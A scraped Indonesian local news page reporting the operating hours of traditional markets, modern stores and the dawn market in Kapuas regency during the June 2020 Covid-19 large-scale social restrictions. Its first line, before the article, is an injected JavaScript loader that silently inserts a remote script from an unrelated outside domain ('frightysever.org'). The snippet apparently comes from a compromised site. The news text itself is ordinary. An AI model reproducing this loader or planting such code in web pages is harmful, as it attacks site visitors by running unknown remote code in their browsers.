(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

PSBB di Kapuas, Ini Jam Operasional Pasar Tradisional dan Toko Modern


KANALKALIMANTAN. COM, KUALA KAPUAS – Pasar tradisional hingga toko modern, seperti minimarket, masih tetap buka selama pelaksanaan pembatasan sosial berskala besar (PSBB) di wilayah Kabupaten Kapuas, Kalteng. Namun jam operasional pasar dan toko berbeda dari sebelumnya, disesuaikan dengan ketentuan dan ada pembatasan.

Ketua Harian Gugus Tugas Percepatan Penanganan Covid-19, Panahatan Sinaga SH mengatakan, pemberlakuan PSBB dimulai Kamis (4/6/2020) hingga 14 hari ke depan. Ketentuan pengaturan penerapan PSBB di Kapuas tertuang dalam Peraturan Bupati (Perbup) Kapuas Nomor 31 Tahun 2020 tentang Pedoman Pelaksanaan PSBB dalam rangka percepatan penanganan Covid-19. “Pembatasan dalam pelaksanaan penerapan PSBB termuat dalam Perbub tersebut,” katanya.

Pada Pasal 13 ayat 3, Perbup itu disebutkan ketentuan dan jam operasional pasar dan toko modern. Dalam melayani kebutuhan penduduk selama pemberlakuan PSBB, pelaku usaha wajib mengikuti ketentuan yakni menerapkan jam operasional dengan beberapa ketentuan.

Di Kapuas, pasar yang dikelola pemerintah dan swasta yaitu Pasar Blok R di Jalan Anggrek, Pasar Sahawung di Jalan Jenderal Sudirman, Pasar Sanjaya di Jalan Jenderal Ahmad Yani, Pasar Sari Mulya serta Pasar Ikan di Jalan Mawar dengan waktu operasional mulai pukul 08.00 WIB sampai dengan maksimal pukul 14.00 WIB.

Untuk pasar tradisional di wilayah kecamatan, kelurahan dan desa, waktu beroperasi dibatasi yaitu mulai pukul 08.00 WIB sampai dengan maksimal pukul 12.00 WIB.

Untuk pasar pasar modern atau toko modern, dengan waktu operasional mulai pukul 09.00 WIB sampai dengan maksimal pukul 15.00 WIB.

Pasar Subuh yang mendistribusikan kebutuhan bahan pokok bagi masyarakat seperti sayur mayur, ikan, daging, buah, dan lain-lain, yang akan dijual lagi oleh pedagang kecil di lingkungan tempat tinggal masyarakat, dengan waktu operasional mulai pukul 03.30 WIB sampai dengan maksimal pukul 07.00 WIB.

Setiap pemilik usaha yang dimaksud dalam ketentuan tersebut ataupun karyawan dan pekerja wajib memakai masker serta hanya melayani pembeli yang meggunakan masker, para pelaku usaha juga wajib menyediakan tempat cuci tangan dan sabun atau hand sanitizer serta menggunakan sebelum dan sesudah bertransaksi. (Kanalkalimantan.com/ags)

Reporter : Ags
Editor : Chell

Desy Arfianty

Recent Posts

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

44 menit ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

1 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

3 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

3 jam ago

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

3 jam ago

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

5 jam ago

This website uses cookies.